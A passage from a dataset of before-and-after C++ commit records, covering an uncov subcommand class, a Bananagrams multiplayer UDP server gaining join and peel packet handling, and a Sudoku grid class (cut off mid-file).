\"i8080\") == 0) {\n        i8080_emulator e;\n        e.run(program);\n    } else if(std::strcmp(cpu, \"z80\") == 0) {\n        z80_emulator e;\n        e.run(program);\n    } else {\n        error(\"Unknown CPU '%s'\", cpu);\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (C) 2016 xaizek <xaizek@openmailbox.org>\n\/\/\n\/\/ This file is part of uncov.\n\/\/\n\/\/ uncov is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ uncov is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with uncov.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"SubCommand.hpp\"\n\n#include <cstdlib>\n\n#include <iostream>\n#include <string>\n#include <vector>\n\nstd::vector<SubCommand *>\nSubCommand::getAll()\n{\n    std::vector<SubCommand *> cmds;\n    cmds.reserve(getAllCmds().size());\n    for (const auto &cmd : getAllCmds()) {\n        cmds.push_back(cmd.get());\n    }\n    return cmds;\n}\n\nstd::vector<std::unique_ptr<SubCommand>> &\nSubCommand::getAllCmds()\n{\n    static std::vector<std::unique_ptr<SubCommand>> allCmds;\n    return allCmds;\n}\n\nint\nSubCommand::exec(BuildHistory &bh, Repository &repo,\n                 const std::vector<std::string> &args)\n{\n    hasErrors = false;\n\n    if (args.size() < minArgs) {\n        std::cout << \"Too few subcommand arguments: \" << args.size() << \".  \"\n                  << makeExpectedMsg() << '\\n';\n        error();\n    } else if (args.size() > maxArgs) {\n        std::cout << \"Too many subcommand arguments: \" << args.size() << \".  \"\n                  << makeExpectedMsg() << '\\n';\n        error();\n    }\n\n    if (!hasErrors) {\n        bhValue = &bh;\n        repoValue = &repo;\n\n        execImpl(args);\n    }\n\n    return isFailed() ? EXIT_FAILURE : EXIT_SUCCESS;\n}\n\nvoid\nSubCommand::error()\n{\n    hasErrors = true;\n}\n\nstd::string\nSubCommand::makeExpectedMsg() const\n{\n    if (minArgs == maxArgs) {\n        return \"Expected exactly \" + std::to_string(minArgs) + '.';\n    }\n    return \"Expected at least \" + std::to_string(minArgs) + \" and at most \"\n         + std::to_string(maxArgs) + '.';\n}\n<commit_msg>Consistent use of isFailed\/hasErrors in SubCommand<commit_after>\/\/ Copyright (C) 2016 xaizek <xaizek@openmailbox.org>\n\/\/\n\/\/ This file is part of uncov.\n\/\/\n\/\/ uncov is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ uncov is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with uncov.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"SubCommand.hpp\"\n\n#include <cstdlib>\n\n#include <iostream>\n#include <string>\n#include <vector>\n\nstd::vector<SubCommand *>\nSubCommand::getAll()\n{\n    std::vector<SubCommand *> cmds;\n    cmds.reserve(getAllCmds().size());\n    for (const auto &cmd : getAllCmds()) {\n        cmds.push_back(cmd.get());\n    }\n    return cmds;\n}\n\nstd::vector<std::unique_ptr<SubCommand>> &\nSubCommand::getAllCmds()\n{\n    static std::vector<std::unique_ptr<SubCommand>> allCmds;\n    return allCmds;\n}\n\nint\nSubCommand::exec(BuildHistory &bh, Repository &repo,\n                 const std::vector<std::string> &args)\n{\n    hasErrors = false;\n\n    if (args.size() < minArgs) {\n        std::cout << \"Too few subcommand arguments: \" << args.size() << \".  \"\n                  << makeExpectedMsg() << '\\n';\n        error();\n    } else if (args.size() > maxArgs) {\n        std::cout << \"Too many subcommand arguments: \" << args.size() << \".  \"\n                  << makeExpectedMsg() << '\\n';\n        error();\n    }\n\n    if (!hasErrors) {\n        bhValue = &bh;\n        repoValue = &repo;\n\n        execImpl(args);\n    }\n\n    return hasErrors ? EXIT_FAILURE : EXIT_SUCCESS;\n}\n\nvoid\nSubCommand::error()\n{\n    hasErrors = true;\n}\n\nstd::string\nSubCommand::makeExpectedMsg() const\n{\n    if (minArgs == maxArgs) {\n        return \"Expected exactly \" + std::to_string(minArgs) + '.';\n    }\n    return \"Expected at least \" + std::to_string(minArgs) + \" and at most \"\n         + std::to_string(maxArgs) + '.';\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"server.hpp\"\n\nnamespace po = boost::program_options;\nusing std::cout;\nusing std::cerr;\nusing std::endl;\nusing std::string;\n\nsf::UdpSocket socket;\nunsigned short client_port;\n\nstd::map<string, Player> players;\n\nvoid shutdown(int s)\n{\n\tcout << \"\\nServer shutting down...\";\n\tfor (const auto& pair: players)\n\t{\n\t\tsf::Packet sorry;\n\t\tsorry << sf::Uint8(2);\n\t\tsocket.send(sorry, pair.second.get_ip(), client_port);\n\t}\n\tcout << endl;\n\texit(0);\n}\n\nint main(int argc, char* argv[])\n{\n\tstruct sigaction action;\n\taction.sa_handler = shutdown;\n\tsigemptyset(&action.sa_mask);\n\taction.sa_flags = 0;\n\n\tsigaction(SIGINT, &action, nullptr);\n\tsigaction(SIGTERM, &action, nullptr);\n\tsigaction(SIGKILL, &action, nullptr);\n\n\tpo::options_description desc(\"Bananagrams multiplayer dedicated server\");\n\tdesc.add_options()\n\t\t(\"help\", \"show options\")\n\t\t(\"dict\", po::value<string>(), \"dictionary file\")\n\t\t(\"port\", po::value<unsigned short>()->default_value(default_server_port), \"TCP\/UDP listening port\")\n\t\t(\"bunch\", po::value<string>()->default_value(\"1\"), \"bunch multiplier (0.5 or a positive integer)\")\n\t;\n\n\t\/\/ TODO usage string\n\t\/\/ TODO print help on unrecognized options\n\tpo::variables_map opts;\n\tpo::store(po::parse_command_line(argc, argv, desc), opts);\n\tpo::notify(opts);\n\n\tif (opts.count(\"help\"))\n\t{\n\t\tcerr << desc << endl;\n\t\treturn 1;\n\t}\n\n\t\/\/ check port option\n\tunsigned short server_port {opts[\"port\"].as<unsigned short>()};\n\tif (server_port == 0)\n\t{\n\t\tcerr << \"Invalid listening port: \" << server_port << \"!\\n\";\n\t\treturn 1;\n\t}\n\n\tclient_port = server_port + 1;\n\n\t\/\/ check bunch multiplier option\n\tstd::stringstream multi_s;\n\tmulti_s << opts[\"bunch\"].as<string>();\n\tunsigned int b_num {1};\n\tunsigned int b_den {1};\n\tif (multi_s.str() == \"0.5\")\n\t\tb_den = 2;\n\telse\n\t\tmulti_s >> b_num;\n\n\t\/\/ check dictionary option\n\tif (!opts.count(\"dict\"))\n\t{\n\t\tcerr << \"No dictionary file specified!\\n\";\n\t\treturn 1;\n\t}\n\n\tstring dict = opts[\"dict\"].as<string>();\n\tstd::map<string, string> dictionary;\n\n\tcout << \"Loading dictionary... \";\n\tcout.flush();\n\tstd::ifstream words(dict);\n\tif (!words.is_open())\n\t{\n\t\tstd::cerr << \"\\nFailed to open \" << dict << \"!\\n\";\n\t\treturn 1;\n\t}\n\n\t\/\/ parse dictionary\n\tstring line;\n\twhile (std::getline(words, line))\n\t{\n\t\tauto pos = line.find_first_of(' ');\n\t\tif (pos == string::npos)\n\t\t\tdictionary[line] = \"\";\n\t\telse\n\t\t\tdictionary[line.substr(0, pos)] = line.substr(pos + 1, string::npos);\n\t}\n\twords.close();\n\tcout << dictionary.size() << \" words found\";\n\tcout.flush();\n\n\t\/\/ LET'S GO!!!\n\tstd::list<char> bunch;\n\tfor (char ch = 'A'; ch <= 'Z'; ++ch)\n\t\tfor (unsigned int i = 0; i < ((letter_count[ch - 'A'] * b_num) \/ b_den); ++i)\n\t\t\trandom_insert(bunch, ch);\n\n\t\/\/ TODO catch failure\n\tsocket.bind(server_port);\n\n\tbool playing = false;\n\n\tcout << \"\\nWaiting for players to join...\";\n\tcout.flush();\n\twhile (true)\n\t{\n\t\tsf::Packet packet;\n\t\tsf::IpAddress client_ip;\n\t\tunsigned short client_port;\n\t\tsocket.receive(packet, client_ip, client_port);\n\n\t\tcout << \"\\nReceived packet from \" << client_ip << \":\" << client_port;\n\t\tcout.flush();\n\n\t\tsf::Uint8 type;\n\t\tstd::string id;\n\n\t\t\/\/ every client packet starts with a type and player id\n\t\tpacket >> type;\n\t\tpacket >> id;\n\n\t\tswitch(type)\n\t\t{\n\t\t\tcase 0: \/\/ player join\n\t\t\t{\n\t\t\t\tsf::Uint8 version;\n\t\t\t\tpacket >> version;\n\t\t\t\tif (version != protocol_version)\n\t\t\t\t{\n\t\t\t\t\tsf::Packet sorry;\n\t\t\t\t\tsorry << sf::Uint8(1) << sf::Uint8(0);\n\t\t\t\t\tsocket.send(sorry, client_ip, client_port);\n\n\t\t\t\t\t\/\/ TODO send client rejection\n\t\t\t\t\tcout << \"\\nclient failed to join\"\n\t\t\t\t\t\t    \"\\n\\tNeed protocol version \" << (int)protocol_version << \", got \" << (int)version;\n\t\t\t\t\tcout.flush();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif (players.count(id) == 0)\n\t\t\t\t{\n\t\t\t\t\tPlayer player(client_ip);\n\t\t\t\t\tpacket >> player;\n\t\t\t\t\tplayers[id] = player;\n\n\t\t\t\t\tcout << \"\\n\" << player.get_name() << \" has joined the game\";\n\t\t\t\t\tcout.flush();\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase 1: \/\/ player disconnect\n\t\t\t{\n\t\t\t\tif (players.count(id) > 0)\n\t\t\t\t{\n\t\t\t\t\tcout << \"\\n\" << players[id].get_name() << \" has left the game\";\n\t\t\t\t\tcout.flush();\n\t\t\t\t\tplayers.erase(id);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdefault:\n\t\t\t\tcout << \"\\nUnrecognized packet type: \" << (int)type;\n\t\t\t\tcout.flush();\n\t\t}\n\t}\n\n\treturn 0;\n}\n<commit_msg>More packet handling for server<commit_after>#include \"server.hpp\"\n\nnamespace po = boost::program_options;\nusing std::cout;\nusing std::cerr;\nusing std::endl;\nusing std::string;\n\nsf::UdpSocket socket;\nunsigned short client_port;\n\nstd::map<string, Player> players;\n\nvoid shutdown(int s)\n{\n\t(void)s; \/\/ intentionally unused\n\n\tcout << \"\\nServer shutting down...\";\n\tfor (const auto& pair: players)\n\t{\n\t\tsf::Packet sorry;\n\t\tsorry << sf::Uint8(2);\n\t\tsocket.send(sorry, pair.second.get_ip(), client_port);\n\t}\n\tcout << endl;\n\texit(0);\n}\n\nint main(int argc, char* argv[])\n{\n\tstruct sigaction action;\n\taction.sa_handler = shutdown;\n\tsigemptyset(&action.sa_mask);\n\taction.sa_flags = 0;\n\n\tsigaction(SIGINT, &action, nullptr);\n\tsigaction(SIGTERM, &action, nullptr);\n\tsigaction(SIGKILL, &action, nullptr);\n\n\tpo::options_description desc(\"Bananagrams multiplayer dedicated server\");\n\tdesc.add_options()\n\t\t(\"help\", \"show options\")\n\t\t(\"dict\", po::value<string>(), \"dictionary file\")\n\t\t(\"port\", po::value<unsigned short>()->default_value(default_server_port), \"TCP\/UDP listening port\")\n\t\t(\"bunch\", po::value<string>()->default_value(\"1\"), \"bunch multiplier (0.5 or a positive integer)\")\n\t;\n\n\t\/\/ TODO usage string\n\t\/\/ TODO print help on unrecognized options\n\tpo::variables_map opts;\n\tpo::store(po::parse_command_line(argc, argv, desc), opts);\n\tpo::notify(opts);\n\n\tif (opts.count(\"help\"))\n\t{\n\t\tcerr << desc << endl;\n\t\treturn 1;\n\t}\n\n\t\/\/ check port option\n\tunsigned short server_port {opts[\"port\"].as<unsigned short>()};\n\tif (server_port == 0)\n\t{\n\t\tcerr << \"Invalid listening port: \" << server_port << \"!\\n\";\n\t\treturn 1;\n\t}\n\n\tclient_port = server_port + 1;\n\n\t\/\/ check bunch multiplier option\n\tstd::stringstream multi_s;\n\tmulti_s << opts[\"bunch\"].as<string>();\n\tunsigned int b_num {1};\n\tunsigned int b_den {1};\n\tif (multi_s.str() == \"0.5\")\n\t\tb_den = 2;\n\telse\n\t\tmulti_s >> b_num;\n\n\t\/\/ check dictionary option\n\tif (!opts.count(\"dict\"))\n\t{\n\t\tcerr << \"No dictionary file specified!\\n\";\n\t\treturn 1;\n\t}\n\n\tstring dict = opts[\"dict\"].as<string>();\n\tstd::map<string, string> dictionary;\n\n\tcout << \"Loading dictionary... \";\n\tcout.flush();\n\tstd::ifstream words(dict);\n\tif (!words.is_open())\n\t{\n\t\tstd::cerr << \"\\nFailed to open \" << dict << \"!\\n\";\n\t\treturn 1;\n\t}\n\n\t\/\/ parse dictionary\n\tstring line;\n\twhile (std::getline(words, line))\n\t{\n\t\tauto pos = line.find_first_of(' ');\n\t\tif (pos == string::npos)\n\t\t\tdictionary[line] = \"\";\n\t\telse\n\t\t\tdictionary[line.substr(0, pos)] = line.substr(pos + 1, string::npos);\n\t}\n\twords.close();\n\tcout << dictionary.size() << \" words found\";\n\tcout.flush();\n\n\t\/\/ LET'S GO!!!\n\tstd::list<char> bunch;\n\tfor (char ch = 'A'; ch <= 'Z'; ++ch)\n\t\tfor (unsigned int i = 0; i < ((letter_count[ch - 'A'] * b_num) \/ b_den); ++i)\n\t\t\trandom_insert(bunch, ch);\n\n\t\/\/ TODO catch failure\n\tsocket.bind(server_port);\n\n\tsf::Uint8 peel_n = 0;\n\tbool playing = false;\n\n\tcout << \"\\nWaiting for players to join...\";\n\tcout.flush();\n\twhile (true)\n\t{\n\t\tsf::Packet packet;\n\t\tsf::IpAddress client_ip;\n\t\tunsigned short client_port;\n\t\tsocket.receive(packet, client_ip, client_port);\n\n\t\tcout << \"\\nReceived packet from \" << client_ip << \":\" << client_port;\n\t\tcout.flush();\n\n\t\tsf::Uint8 type;\n\t\tstd::string id;\n\n\t\t\/\/ every client packet starts with a type and player id\n\t\tpacket >> type;\n\t\tpacket >> id;\n\n\t\tswitch(type)\n\t\t{\n\t\t\tcase 0: \/\/ player join\n\t\t\t{\n\t\t\t\tsf::Uint8 version;\n\t\t\t\tpacket >> version;\n\t\t\t\tif (version != protocol_version)\n\t\t\t\t{\n\t\t\t\t\tsf::Packet sorry;\n\t\t\t\t\tsorry << sf::Uint8(1) << sf::Uint8(0);\n\t\t\t\t\tsocket.send(sorry, client_ip, client_port);\n\n\t\t\t\t\tcout << \"\\nclient failed to join\"\n\t\t\t\t\t\t    \"\\n\\tNeed protocol version \" << (int)protocol_version << \", got \" << (int)version;\n\t\t\t\t\tcout.flush();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif (playing)\n\t\t\t\t{\n\t\t\t\t\tsf::Packet sorry;\n\t\t\t\t\tsorry << sf::Uint8(1) << sf::Uint8(3);\n\t\t\t\t\tsocket.send(sorry, client_ip, client_port);\n\n\t\t\t\t\tcout << \"\\nclient failed to join\"\n\t\t\t\t\t\t    \"\\n\\tGame already started\";\n\t\t\t\t\tcout.flush();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif (players.count(id) == 0)\n\t\t\t\t{\n\t\t\t\t\tPlayer player(client_ip);\n\t\t\t\t\tpacket >> player;\n\t\t\t\t\tplayers[id] = player;\n\n\t\t\t\t\tcout << \"\\n\" << player.get_name() << \" has joined the game\";\n\t\t\t\t\tcout.flush();\n\n\t\t\t\t\tsf::Packet accept;\n\t\t\t\t\taccept << sf::Uint8(0) << sf::Uint8(players.size() - 1);\n\t\t\t\t\tsocket.send(accept, player.get_ip(), client_port);\n\n\t\t\t\t\tplaying = true;\n\n\t\t\t\t\t\/\/ TODO for now, start the game immediately\n\t\t\t\t\tfor (const auto& pair : players)\n\t\t\t\t\t{\n\t\t\t\t\t\tstring letters;\n\t\t\t\t\t\tfor (unsigned int i = 0; i < 21; i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tletters.append(1, bunch.back());\n\t\t\t\t\t\t\tbunch.pop_back();\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tsf::Packet peel;\n\t\t\t\t\t\tpeel << sf::Uint8(4) << sf::Uint8(peel_n) << letters;\n\t\t\t\t\t\tsocket.send(peel, pair.second.get_ip(), client_port);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase 1: \/\/ player disconnect\n\t\t\t{\n\t\t\t\tif (players.count(id) > 0)\n\t\t\t\t{\n\t\t\t\t\tcout << \"\\n\" << players[id].get_name() << \" has left the game\";\n\t\t\t\t\tcout.flush();\n\t\t\t\t\tplayers.erase(id);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase 6: \/\/ finished peel\n\t\t\t{\n\t\t\t\tif (players.count(id) > 0)\n\t\t\t\t{\n\t\t\t\t\tsf::Uint8 client_peel;\n\t\t\t\t\tpacket >> client_peel;\n\n\t\t\t\t\tif (client_peel == peel_n + 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tsf::Int16 remaining = bunch.size() - players.size();\n\n\t\t\t\t\t\t\/\/ if there aren't enough letters left\n\t\t\t\t\t\tif (remaining < 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\/\/ send victory notification\n\t\t\t\t\t\t\tfor (const auto& pair : players)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsf::Packet win;\n\t\t\t\t\t\t\t\twin << sf::Uint8(5) << sf::Uint8(1) << id;\n\t\t\t\t\t\t\t\tsocket.send(win, pair.second.get_ip(), client_port);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tcout << \"\\n\" << players[id].get_name() << \" has won the game!\";\n\t\t\t\t\t\t\tcout.flush();\n\t\t\t\t\t\t\tshutdown(0);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t++peel_n;\n\t\t\t\t\t\tcout << \"\\n\" << players[id].get_name() << \" peeled (\" << peel_n << \")\";\n\t\t\t\t\t\tcout.flush();\n\n\t\t\t\t\t\t\/\/ send each player a new letter\n\t\t\t\t\t\tfor (const auto& pair : players)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstring letter {bunch.back()};\n\t\t\t\t\t\t\tbunch.pop_back();\n\n\t\t\t\t\t\t\tsf::Packet peel;\n\t\t\t\t\t\t\tpeel << sf::Uint8(4) << sf::Uint8(peel_n) << remaining << letter;\n\t\t\t\t\t\t\tsocket.send(peel, pair.second.get_ip(), client_port);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tdefault:\n\t\t\t\tcout << \"\\nUnrecognized packet type: \" << (int)type;\n\t\t\t\tcout.flush();\n\t\t}\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/--------------------------------------------------------------- SudokuGrid.cpp\n\n#include \"SudokuGrid.h\"\n#include \"SetOperations.h\"\n\n#include <numeric>\n#include <stdexcept>\n#include <string>\n\nusing namespace std;\n\nnamespace {\nconst string subhorz(13, '-');\nconst string subhorz2(13, ' ');\nconst string horz = \"+\" + subhorz + \"+\" + subhorz + \"+\" + subhorz + \"+\";\nconst string horz2 = \"|\" + subhorz2 + \"|\" + subhorz2 + \"|\" + subhorz2 + \"|\";\nconst string vert(11, '|');\n} \/\/ namespace\n\nconst SudokuGrid::set_t SudokuGrid::EMPTY;\nconst SudokuGrid::set_t SudokuGrid::U{\n   makeRange<SudokuGrid::value_t>(1, SudokuGrid::ORDER2 + 1)};\n\nostream &operator<<(ostream &os, const SudokuGrid &sdkg)\n{\n   for (int row = 0; row < SudokuGrid::ORDER2; ++row) {\n      for (int col = 0; col < SudokuGrid::ORDER2; ++col) {\n         if ((col != 0) && (col % SudokuGrid::ORDER == 0)) {\n            os << \"|\";\n         }\n         if (!sdkg.cellIsSolved(row, col)) {\n            os << \" . \";\n         }\n         else {\n            os << \" \" << sdkg._cell[row][col] << \" \";\n         }\n      }\n      os << endl;\n      if ((row != SudokuGrid::ORDER2 - 1) &&\n          (row % SudokuGrid::ORDER == (SudokuGrid::ORDER - 1))) {\n         \/\/ @TODO Remove magic number\n         os << string(29, '-') << endl;\n      }\n   }\n   os << endl;\n\n   return os;\n}\n\nstd::istream &operator>>(std::istream &is, SudokuGrid &sdkg)\n{\n   int value{0};\n\n   for (int row = 0; row < SudokuGrid::ORDER2; ++row) {\n      for (int col = 0; col < SudokuGrid::ORDER2; ++col) {\n         is >> value;\n         sdkg.add(value, row, col);\n      }\n   }\n   sdkg.calculateAllCellCandidates();\n   return is;\n}\n\nvoid writeCandidates(std::ostream &os, const SudokuGrid &sdkg)\n{\n   for (int row = 0; row < SudokuGrid::ORDER2; ++row) {\n      for (int col = 0; col < SudokuGrid::ORDER2; ++col) {\n         if (col == 0 && row % SudokuGrid::ORDER == 0 &&\n             row < SudokuGrid::ORDER2 - 1) {\n            os << horz;\n            if (row == 0) {\n               os << \" ID = \" << &sdkg << \" \" << sdkg.getID() << \" \"\n                  << (sdkg.isSolvable() ? \"\" : \" not solvable\");\n            }\n            os << endl << horz2 << endl;\n         }\n         if (col == 0)\n            os << \"| \";\n         SudokuGrid::set_t candidates = sdkg.getCellCandidates(row, col);\n         for (SudokuGrid::value_t v = 1; v <= SudokuGrid::ORDER; ++v) {\n            if (isAnElementOf(v, candidates)) {\n               os << v;\n            }\n            else {\n               candidates == SudokuGrid::EMPTY ? os << ' ' : os << '.';\n            }\n         }\n         if ((col != 0) && (col % SudokuGrid::ORDER == 2)) {\n            os << \" | \";\n         }\n         else {\n            os << \" \";\n         }\n      }\n      os << endl;\n      for (int col = 0; col < SudokuGrid::ORDER2; ++col) {\n         if (col == 0)\n            os << \"| \";\n         int pos{-1};\n         SudokuGrid::set_t candidates{sdkg.getCellCandidates(row, col)};\n         for (SudokuGrid::value_t v = SudokuGrid::ORDER + 1;\n              v <= 2 * SudokuGrid::ORDER; ++v) {\n            if (isAnElementOf(v, candidates)) {\n               os << v;\n            }\n            else {\n               if (candidates == SudokuGrid::EMPTY) {\n                  ++pos;\n                  (pos == 1) ? os << sdkg._cell[row][col] : os << ' ';\n               }\n               else {\n                  os << '.';\n               }\n            }\n         }\n         if ((col != 0) && (col % SudokuGrid::ORDER == 2)) {\n            os << \" | \";\n         }\n         else {\n            os << \" \";\n         }\n      }\n      os << endl;\n      for (int col = 0; col < SudokuGrid::ORDER2; ++col) {\n         if (col == 0)\n            os << \"| \";\n         SudokuGrid::set_t candidates{sdkg.getCellCandidates(row, col)};\n         for (SudokuGrid::value_t v = 2 * SudokuGrid::ORDER + 1;\n              v < 3 * SudokuGrid::ORDER + 1; ++v) {\n            if (isAnElementOf(v, candidates)) {\n               os << v;\n            }\n            else {\n               candidates == SudokuGrid::EMPTY ? os << ' ' : os << '.';\n            }\n         }\n         if ((col != 0) && (col % SudokuGrid::ORDER == 2)) {\n            os << \" | \";\n         }\n         else {\n            os << \" \";\n         }\n      }\n      os << endl << horz2 << endl;\n   }\n   os << horz << endl;\n}\n\nvoid writeLatex(std::ostream &os, const SudokuGrid &sdkg)\n{\n   os << \"\\n\\\\begin{sudoku}\\n\";\n   for (int row = 0; row < SudokuGrid::ORDER2; ++row) {\n      for (int col = 0; col < SudokuGrid::ORDER2; ++col) {\n         if (!sdkg.cellIsSolved(row, col)) {\n            os << \"| \";\n         }\n         else {\n            os << \"|\" << sdkg._cell[row][col];\n         }\n      }\n      os << \"|.\\n\";\n   }\n   os << \"\\\\end{sudoku}\\n\\n\";\n}\n\nSudokuGrid::SudokuGrid()\n   : _id{}\n   , _numberOfCellsSolved{0}\n   , _isSolvable{true}\n   , _cell{{}}\n   , _columnSet{{}}\n   , _rowSet{{}}\n   , _blockSet{{}}\n   , _candidates{{}}\n{\n   for (int row = 0; row < SudokuGrid::ORDER2; ++row) {\n      for (int column = 0; column < SudokuGrid::ORDER2; ++column) {\n         _candidates[row][column] = U;\n      }\n   }\n   _columnSet.fill(U);\n   _rowSet.fill(U);\n   for (int row = 0; row < SudokuGrid::ORDER; ++row) {\n      for (int column = 0; column < SudokuGrid::ORDER; ++column) {\n         _blockSet[row][column] = U;\n      }\n   }\n   mapPointerArraysToCandidates();\n}\n\nSudokuGrid::SudokuGrid(const SudokuGrid &sdkg)\n   : _numberOfCellsSolved{sdkg._numberOfCellsSolved}\n   , _isSolvable{sdkg._isSolvable}\n   , _cell{{}}\n   , _columnSet{{}}\n   , _rowSet{{}}\n   , _blockSet{{}}\n   , _candidates{{}}\n{\n   _id = sdkg._id;\n   _cell = sdkg._cell;\n   _columnSet = sdkg._columnSet;\n   _rowSet = sdkg._rowSet;\n   _blockSet = sdkg._blockSet;\n   _candidates = sdkg._candidates;\n   mapPointerArraysToCandidates();\n   \/\/ writeCandidates(cout, sdkg);\n   \/\/ cout << \"COPY\" << endl;\n   \/\/ writeCandidates(cout, *this);\n}\n\nSudokuGrid &SudokuGrid::operator=(const SudokuGrid &sdkg)\n{\n   if (this != &sdkg) {\n      _id = sdkg._id;\n      _numberOfCellsSolved = sdkg._numberOfCellsSolved;\n      _isSolvable = sdkg._isSolvable;\n      _cell = sdkg._cell;\n      _columnSet = sdkg._columnSet;\n      _rowSet = sdkg._rowSet;\n      _blockSet = sdkg._blockSet;\n      _candidates = sdkg._candidates;\n      mapPointerArraysToCandidates();\n   }\n   return *this;\n}\n\nbool SudokuGrid::removeCandidates(const set_t &rem, int row, int column)\n{\n   set_t candidates{_candidates[row][column]};\n   _candidates[row][column] = _candidates[row][column] - rem;\n   return candidates != _candidates[row][column];\n}\n\nvoid SudokuGrid::add(const value_t value, int row, int column)\n{\n   if (isSolvable()) {\n      if (isAnElementOf(value, SudokuGrid::U)) {\n         \/\/ cout << \"-- Add: \" << Value << \" in [\" << Row << \"][\" << Column <<\n         \/\/ \"]\" << endl;\n         if (isAnElementOf(value, _columnSet[column]) &&\n             isAnElementOf(value, _rowSet[row]) &&\n             isAnElementOf(value, _blockSet[row \/ SudokuGrid::ORDER]\n                                           [column \/ SudokuGrid::ORDER])) {\n            _columnSet[column].erase(value);\n            _rowSet[row].erase(value);\n            _blockSet[row \/ SudokuGrid::ORDER][column \/ SudokuGrid::ORDER]\n               .erase(value);\n            _candidates[row][column] = SudokuGrid::EMPTY;\n            _cell[row][column] = value;\n            ++_numberOfCellsSolved;\n         }\n         else {\n            \/\/ cout << \"ADD ERROR\" << endl;\n            \/\/ writeCandidates(cout, *this);\n            \/\/ getchar();\n            throw std::logic_error(\n               \"-- [\" + to_string(row) + \"][\" + to_string(column) +\n               \"] Sudoku element: \" + to_string(value) + \" not in groups\");\n         }\n      }\n      else {\n         if (value != 0) {\n            throw std::logic_error(\"-- Sudoku element: \" + to_string(value) +\n                                   \" must be in the range \"\n                                   \"[1,\" +\n                                   to_string(SudokuGrid::ORDER2) + \"]\");\n         }\n         _cell[row][column] = 0;\n      }\n      calculateAllCellCandidates();\n   }\n   else {\n      cout << \"ADD to not solvable sudoku grid \" << getID() << endl;\n   }\n}\n\nvoid SudokuGrid::unsafeAdd(const value_t value, int row, int column)\n{\n   _columnSet[column].erase(value);\n   _rowSet[row].erase(value);\n   _blockSet[row \/ SudokuGrid::ORDER][column \/ SudokuGrid::ORDER].erase(value);\n   _candidates[row][column] = SudokuGrid::EMPTY;\n   _cell[row][column] = value;\n   if (value != 0) {\n      ++_numberOfCellsSolved;\n   }\n   calculateAllCellCandidates();\n}\n\n\/\/------------------------------------------------------------------------------\n\nvoid SudokuGrid::calculateAllCellCandidates()\n{\n   for (int row = 0; row < SudokuGrid::ORDER2 && _isSolvable; ++row) {\n      for (int col = 0; col < SudokuGrid::ORDER2 && _isSolvable; ++col) {\n         if (!cellIsSolved(row, col)) {\n            _candidates[row][col] = calculateCellCandidates(row, col);\n            if (_candidates[row][col].empty()) {\n               _isSolvable = false;\n            }\n         }\n      }\n   }\n}\n\nSudokuGrid::set_t SudokuGrid::calculateCellCandidates(int row, int column) const\n{\n   return _columnSet[column] * _rowSet[row] *\n          _blockSet[row \/ SudokuGrid::ORDER][column \/ SudokuGrid::ORDER];\n}\n\nvoid SudokuGrid::mapPointerArraysToCandidates()\n{\n   for (int groupIndex = 0; groupIndex < SudokuGrid::ORDER2; ++groupIndex) {\n      for (int index = 0; index < SudokuGrid::ORDER2; ++index) {\n         pRow[groupIndex][index] = &_candidates[groupIndex][index];\n         pColumn[groupIndex][index] = &_candidates[index][groupIndex];\n      }\n   }\n   for (int blockIndex = 0; blockIndex < SudokuGrid::ORDER2; ++blockIndex) {\n      int index = 0;\n      int starti = SudokuGrid::ORDER * (blockIndex \/ SudokuGrid::ORDER);\n      int startj = SudokuGrid::ORDER * (blockIndex % SudokuGrid::ORDER);\n\n      for (int i = starti; i < starti + SudokuGrid::ORDER; ++i) {\n         for (int j = startj; j < startj + SudokuGrid::ORDER; ++j) {\n            pBlock[blockIndex][index++] = &_candidates[i][j];\n         }\n      }\n   }\n}\n\n\/\/----------------------------------------------------------- eof SudokuGrid.cpp\n<commit_msg>Soved some warnings<commit_after>\/\/--------------------------------------------------------------- SudokuGrid.cpp\n\n#include \"SudokuGrid.h\"\n#include \"SetOperations.h\"\n\n#include <numeric>\n#include <stdexcept>\n#include <string>\n\nusing namespace std;\n\nnamespace {\nconst string subhorz(13, '-');\nconst string subhorz2(13, ' ');\nconst string horz = \"+\" + subhorz + \"+\" + subhorz + \"+\" + subhorz + \"+\";\nconst string horz2 = 